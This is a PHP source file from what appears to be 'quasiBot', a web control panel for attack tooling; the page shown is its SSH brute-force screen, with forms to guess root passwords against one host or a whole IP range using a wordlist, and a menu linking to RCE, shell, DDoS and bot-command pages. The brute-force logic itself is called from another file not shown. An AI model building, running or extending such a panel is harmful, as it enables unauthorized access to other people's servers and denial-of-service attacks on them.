-
Notifications
You must be signed in to change notification settings - Fork 149
/
ssh.php
197 lines (176 loc) · 8.05 KB
/
ssh.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
<?php
require('../config.php');
auth();
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>quasiBot | ssh</title>
<link href="../style.css" rel="stylesheet" type="text/css" media="screen" />
</head>
<body>
<div id="wrapper">
<div id="header">
<div id="logo">
<h1><a href="../home/index.php"> <?php echo date('H:i:s') ?></a></h1>
<?php
quotes();
?>
</div>
</div>
<div id="menu">
<ul>
<li class="txt_left"><?php echo $_SERVER['DOCUMENT_ROOT'] ?></li>
<li class="txt_left"><?php echo $_SERVER['PHP_SELF'] ?></li>
<li class="txt_center"><?php echo date("d.m.y"); ?></li>
<li class="txt_right"><?php echo $_SERVER['SERVER_ADDR'] ?></li>
<li class="txt_right"><?php echo $_SERVER['SERVER_NAME'] ?></li>
<li class="txt_right"><?php echo conn('http://bot.whatismyipaddress.com/') ?></li>
</ul>
</div>
<div id="page">
<div id="page-bgtop">
<div id="page-bgbtm">
<div id="content">
<div class="post">
<h2 class="title"><a href="#">Single bruteforce</a></h2>
<div class="entry">
<p class="meta">
Single SSH attack • If you won't use wordlist, default passwords array will be set
</p>
<form method="post">
<table>
<tr>
<td><b>Host</b></td>
<td><b>User</b></td>
<td><b>Wordlist</b></td>
<td><b>Use wordlist</b></td>
</tr>
<tr>
<td>
<b>
<?php
echo "<input type=\"text\" style=\"width: 200px;\" value=\"". (empty($_POST['shost'])?"127.0.0.1":htmlspecialchars($_POST['shost'])) ."\" name=\"shost\"></b>";
?>
</td>
<td>
<b>
<?php
echo "<input type=\"text\" style=\"width: 70px;\" value=\"". (empty($_POST['suser'])?"root":htmlspecialchars($_POST['suser'])) ."\" name=\"suser\"></b>";
?>
</td>
<td>
<?php
echo "<input type=\"text\" style=\"width: 230px;\" value=\"". (empty($_POST['spath'])?"/home/wordlist/rock.txt":htmlspecialchars($_POST['spath'])) ."\" name=\"spath\"></b>";
?>
</td>
<td style="text-align: left;">
<center><input type="radio" name="wordlist" value="1"></center>
</td>
<td><input type="submit" value="Go"></td>
</tr>
</table>
</form>
</div>
</div>
<div class="post">
<h2 class="title"><a href="#">Massive bruteforce</a></h2>
<div class="entry">
<p class="meta">
Massive SSH attack • Specify ip range as shown below
</p>
<form method="post">
<table>
<tr>
<td><b>Host range</b></td>
<td><b>User</b></td>
<td><b>Wordlist</b></td>
<td><b>Use wordlist</b></td>
</tr>
<tr>
<td>
<b>
<?php
echo "<input type=\"text\" style=\"width: 200px;\" value=\"". (empty($_POST['mhost'])?"127.0.0.1-127.0.0.50":htmlspecialchars($_POST['mhost'])) ."\" name=\"mhost\"></b>";
?>
</td>
<td>
<b>
<?php
echo "<input type=\"text\" style=\"width: 70px;\" value=\"". (empty($_POST['muser'])?"root":htmlspecialchars($_POST['muser'])) ."\" name=\"muser\"></b>";
?>
</td>
<td>
<?php
echo "<input type=\"text\" style=\"width: 230px;\" value=\"". (empty($_POST['mpath'])?"/home/wordlist/rock.txt":htmlspecialchars($_POST['mpath'])) ."\" name=\"mpath\"></b>";
?>
</td>
<td style="text-align: left;">
<center><input type="radio" name="wordlist" value="2"></center>
</td>
<td><input type="submit" value="Go"></td>
</tr>
</table>
</form>
</div>
</div>
<?php
brute_ssh();
?>
<div style="clear: both;"> </div>
</div>
<div id="sidebar">
<ul>
<li>
<h2>Home</h2>
<ul>
<li><a href="../home/index.php">Index</a></li>
<li><a href="../home/settings.php">Settings</a></li>
<li><a href="../home/rss.php">RSS</a></li>
</ul>
</li>
<li>
<h2>Hack</h2>
<ul>
<li><a href="../hack/rce.php">RCE</a></li>
<li><a href="../hack/scan.php">Scan</a></li>
<li><a href="../hack/pwn.php">Pwn</a></li>
<li><a href="../hack/shell.php">Shell</a></li>
</ul>
</li>
<li>
<li>
<h2>Bruteforce</h2>
<ul>
<li><a href="ssh.php"><b>SSH</b></a></li>
<li><a href="ftp.php">FTP</a></li>
<li><a href="dbs.php">DB's</a></li>
<li><a href="www.php">WWW</a></li>
</ul>
</li>
<li>
<h2>Tools</h2>
<ul>
<li><a href="../tools/sql.php">MySQL Manager</a></li>
<li><a href="../tools/hostscan.php">HostScan</a></li>
</ul>
</li>
<li>
<h2>Bots</h2>
<ul>
<li><a href="../hack/ddos.php">DDoS</a></li>
<li><a href="../hack/more.php">Run</a></li>
</ul>
</li>
</div>
<div style="clear: both;"> </div>
</div>
</div>
</div>
</div>
<div id="footer">
<p><?php echo $_SERVER['SERVER_SOFTWARE']; echo ' - '; echo $_SERVER['HTTP_USER_AGENT'] ?></p>
</div>
</body>
</html>